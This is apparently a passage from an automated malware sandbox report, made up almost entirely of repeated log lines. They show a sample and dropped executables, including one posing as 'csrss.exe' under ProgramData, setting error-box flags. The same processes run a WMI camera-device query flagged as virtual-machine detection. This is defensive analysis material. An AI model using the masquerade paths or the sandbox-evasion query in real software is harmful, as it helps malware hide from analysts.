Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ssh\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
